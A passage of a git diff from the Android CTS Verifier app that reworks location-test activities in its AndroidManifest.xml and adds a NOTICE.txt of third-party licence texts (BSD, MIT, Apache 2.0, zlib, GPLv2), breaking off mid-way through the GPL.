 $(verifier-zip) : $(foreach app,$(apps-to-include),$(call apk-location-for,$(app)))
 $(verifier-zip) : $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk | $(ACP)
 		$(hide) mkdir -p $(verifier-dir)
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index f5a190c..9855e6d 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -1893,18 +1893,44 @@
         </activity>
         -->
 
-        <activity android:name=".managedprovisioning.LocationListenerActivity"
-                android:label="@string/location_listener_activity"
-                android:exported="true"
-                android:configChanges="keyboardHidden|orientation|screenSize">
+        <activity android:name=".managedprovisioning.LocationTestActivity"
+                  android:exported="true"
+                  android:label="@string/provisioning_byod_location_test_activity">
             <intent-filter>
-                <action android:name="com.android.cts.verifier.managedprovisioning.SET_LOCATION_AND_CHECK" />
-                <category android:name="android.intent.category.DEFAULT"></category>
-                </intent-filter>
+                <action android:name="com.android.cts.verifier.managedprovisioning.TEST_LOCATION_ENABLED" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.TEST_LOCATION_DISABLED" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.TEST_WORK_LOCATION_DISABLED" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.TEST_WORK_LOCATION_DISABLED_PRIMARY" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
+        <!-- Activity to check if location is available in primary profile -->
+        <activity android:name=".managedprovisioning.LocationCheckerActivity"
+                  android:label="@string/provisioning_byod_location_checker_activity"
+                  android:exported="true"
+                  android:configChanges="keyboardHidden|orientation|screenSize">
+            <intent-filter>
+                <action android:name="com.android.cts.verifier.managedprovisioning.CHECK_LOCATION_ACCESS_PRIMARY" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
 
+        <!-- Activity alias to check if location is available in work profile -->
+        <activity-alias android:name="com.android.cts.verifier.managedprovisioning.WorkLocationCheckerActivityAlias"
+                        android:targetActivity=".managedprovisioning.LocationCheckerActivity"
+                        android:exported="true"
+                        android:enabled="true">
+            <intent-filter>
+                <action android:name="com.android.cts.verifier.managedprovisioning.CHECK_LOCATION_ACCESS_WORK" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity-alias>
+
         <activity android:name=".net.ConnectivityBackgroundTestActivity"
                 android:exported="true"
                 android:label="@string/network_background_test">
@@ -4472,6 +4498,12 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_tunnel" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.leanback" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".tv.TvInputDiscoveryTestActivity"
@@ -4638,7 +4670,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_excluded_features"
-                       android:value="android.software.leanback" />
+                       android:value="android.software.leanback:android.hardware.type.automotive" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
diff --git a/apps/CtsVerifier/NOTICE.txt b/apps/CtsVerifier/NOTICE.txt
new file mode 100644
index 0000000..1098191
--- /dev/null
+++ b/apps/CtsVerifier/NOTICE.txt
@@ -0,0 +1,21749 @@
+======================================================================
+external/jsr305/NOTICE
+
+Copyright (c) 2007-2009, JSR305 expert group
+All rights reserved.
+
+http://www.opensource.org/licenses/bsd-license.php
+
+Redistribution and use in source and binary forms, with or without 
+modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice, 
+      this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above copyright notice, 
+      this list of conditions and the following disclaimer in the documentation 
+      and/or other materials provided with the distribution.
+    * Neither the name of the JSR305 expert group nor the names of its 
+      contributors may be used to endorse or promote products derived from 
+      this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, 
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
+POSSIBILITY OF SUCH DAMAGE.
+
+======================================================================
+external/mockito/LICENSE
+
+The MIT License
+
+Copyright (c) 2007 Mockito contributors
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+======================================================================
+external/dexmaker/LICENSE
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright 2016 Apteligent, Inc.
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+======================================================================
+external/tinyxml2/LICENSE
+external/tinyxml2/NOTICE
+
+This software is provided 'as-is', without any express or implied
+warranty. In no event will the authors be held liable for any
+damages arising from the use of this software.
+
+Permission is granted to anyone to use this software for any
+purpose, including commercial applications, and to alter it and
+redistribute it freely, subject to the following restrictions:
+
+1. The origin of this software must not be misrepresented; you must
+not claim that you wrote the original software. If you use this
+software in a product, an acknowledgment in the product documentation
+would be appreciated but is not required.
+
+2. Altered source versions must be plainly marked as such, and
+must not be misrepresented as being the original software.
+
+3. This notice may not be removed or altered from any source
+distribution.
+
+======================================================================
+external/piex/LICENSE
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+======================================================================
+external/selinux/NOTICE
+
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
